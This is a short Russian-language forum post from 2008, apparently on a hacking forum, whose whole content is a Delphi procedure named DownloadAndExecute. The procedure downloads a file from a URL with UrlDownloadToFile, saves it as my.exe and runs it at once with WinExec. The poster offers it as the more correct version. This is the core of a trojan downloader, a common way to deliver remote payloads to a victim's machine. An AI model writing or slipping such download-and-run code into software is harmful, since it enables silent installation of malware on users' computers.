
03.01.2008, 00:35
|
|
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме: 2869410
Репутация:
925
|
|
procedure DownloadAndExecute(Source: PChar);
const
DestFile = 'my.exe';
begin
UrlDownloadToFile(nil, Source, DestFile, 0, nil);
WinExec(DestFile,1);
end;
так вернее будет
|
|
|